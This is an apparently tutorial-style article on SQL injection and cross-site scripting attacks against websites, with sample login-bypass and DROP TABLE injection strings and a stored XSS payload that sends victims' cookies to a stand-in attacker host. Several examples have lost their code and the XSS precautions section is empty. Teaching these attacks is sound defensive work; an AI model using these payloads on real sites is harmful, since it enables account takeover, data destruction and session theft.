There are many different types of attacks hackers can conduct in order to take partial or total control of a website. In general the most common and dangerous ones are SQL injections and cross-site scripting (XSS).
SQL injection is a technique to inject a piece of a malicious code in a web application, exploiting security vulnerability at the database level to change its behavior. Applications often use user-supplied data to create SQL statements. If such commands are executed, they do so under the context of the user specified by the application executing the statement. This capability allows attackers to gain control of all database resources accessible by that user, up to and including the ability to execute commands on the hosting system. With this powerful technique the attacker could manipulate URLs (query strings) or any form (search, login, email registration) to inject malicious code. Ability to change the logic of SQL statements executed against the database is extremely dangerous for an e-Commerce sites or any other site that keeps sensitive information in the database like SSN, CC numbers etc.
Some samples of SQL injections are:
SQL Injection using Dynamic Strings
A web based application form might build a SQL request to the database as string combining Username & Password in order to retrieve account information from database.
SELECT Username FROM Users WHERE Username = [value] AND Password = [value]
If the attacker submits login and password as
Password: bar’ OR ‘ ‘=’ ‘
SQL command string would look like
SELECT Username FROM Users WHERE Username = ‘foo’
AND Password = ‘bar’ OR ‘ ‘=’ ‘
This query will return all rows from the user’s database, regardless of whether the foo is a real username or bar is a legitimate password. This is due to the OR statement appended to WHERE clause. The comparison ‘ ‘=’ ‘ will always return true result, making the overall WHERE clause evaluate to true for all rows in the table. If this is used for authentication purposes, the attacker will often be logged in as the first or last user in Users table.
SQL Injection in Stored Procedures
Stored procedures accept parameters which this type of attack is relaying on.
exec SignInUser ‘ ” + Username + “,’ ” + Password + “ ’ ”
First password option bar’ OR ‘ ‘=’ ’ would register attacker as user into application while second password option ‘; DROP TABLE Users–‘ would drop/delete table from database
Password: ‘; DROP TABLE Users–‘
Even if stored procedure is using parameterized statements, they can be still compromised. Escaping dangerous characters is not sufficient to address these flaws. An article “New SQL Truncation Attacks and How to Avoid Them” demonstrates how assigning strings to fixed-size variables, like the varchars can cause strings to be truncated and lead to SQL injection attacks.
SQL Injection Identification and Exploitation
Two commonly known methods of identifying SQL Injection attack are:
- SQL Injection
- Blind SQL Injection
This method is used to identify and exploit SQL Injection used information provided by errors generated during testing. These errors often would include text of the offending SQL statement and details of the nature of the error. Such information can be very helpful when creating reliable exploits for SQL Injection attacks.
By appending a UNION statement to the parameter, the attacker can test for access to other tables in the target database.
The database server might return an error similar to:
Microsoft OLE DB Provider for ODBC Drivers error
[Microsoft][ODBC SQL Server Driver][SQL Server]All
queries in an SQL statement containing a UNION
operator must have an equal number of expressions
in their target lists.
So the attack was slightly incorrect, but it will be likely successful once the test query is changed where column count matches the original query statement.
Blind SQL Injection
This SQL Injection is used when no detailed error message is provided to the attacker. For web based applications is common to display friendly error pages with minimal technical data, effectively blinding those exploitation techniques.
In this case the attacker would gather information by other means, like differential timing analysis or manipulation of user-visible state. Common example would be to analyze behavior of a system when passed values would evaluate to false and true result used in SQL statement.
If a SQL Injection weakness is present, including statement within a query string like
should return same web page as
because and 1=1 is always true
would cause a website to return a friendly error or no page at all. This is because and 1=0 is always false.
Using these techniques the attacker can exploit other sections of the website as well.
SQL Injection Precautions
There are some good precautions that can be taken to avoid this kind of attack. Most common techniques to prevent SQL Injections are creating middle layer between front end and database that would validate input before binding actual values to SQL statements to be executed against the database, and character escaping technique where all dangerous characters that can affect SQL statements and database are escaped (single quote ‘ , percent symbol % , semi-colon ; ). Additional technique is to create user-friendly error messages/pages and hide technical details from possible attackers. You can always log errors or send an email with technical details to webmaster. When interacting with database, the account with least privileges/restricted access should be used for communication with database.
Cross-Site Scripting (XSS)
Very powerful and popular hacking technique that injects malicious code in a webpage through user input without any further validation before returning it to the final user. In essence the attacker would submit code to webpage that would be echoed to the end user without further validation.
There are three types of XSS attacks:
Non-Persistent XSS Attacks
On web portals where user have a personalized view of a web site and is being greeted after logging in with “Welcome, <your username>”, data is often referenced through query string like
Persistent XSS Attacks
<SCRIPT>document.location = ‘http://attackerhost.example/cgi-bin/cookiesteal.cgi?+’document.cookie</SCRIPT>
Due to attack payload being stored on the server this form of XSS attack is persistent.
DOM-based XSS Attacks
Unlike two previous flavors of XSS attacks, DOM based XSS does not require web server to receive the malicious XSS payload. Instead DOM based XSS, the attacker abuses runtime embedding of attacker data in the client side, from within a page served from web server.
If for example
http://www.vulnerablesite.example/index.html contains script like
<SCRIPT>var pos = document.URL.indexOf(“name=”)+5;
Welcome to our system
If page is using value from query string as
this would be encoded, of course
Few DOM objects which can serve as a vehicle to such attack:
- The path/query part of the location/URL object, in which case the server does not receive the payload as part of the URL section of the HTTP request
- The username and/or password part of the location/URL object ( http://username:password@host/…), in which case the server receives the payload, Base64-encoded, in the Authorization Header
- The fragment part of the location/URL object, in which case the server does not receive the payload at all, because browser typically does not send this part of the URL
- The referrer object, in which case the server receives the payload in the Referrer Header
Cross-Site Scripting Worms and Malware
The best example of a Web Worm is Sammy Worm, the first major worm of its kind, spread by exploiting a persistent XSS vulnerability in MySpace.com’s personal profile web page template. The author of the Sammy Worm bypassed MySpace filtering and infected his profile page on myspace.com Since then every user’s profile that ever visited Sammy’s profile page was automatically updated with malicious code and Sammy was added as their friend as well. This attack resulted with over 1 million infected profiles within 24 hours. MySpace was force to shut-down its website in order to stop infection fix vulnerability filters and perform a clean-up.
Cross-Site Scripting (XSS) Precautions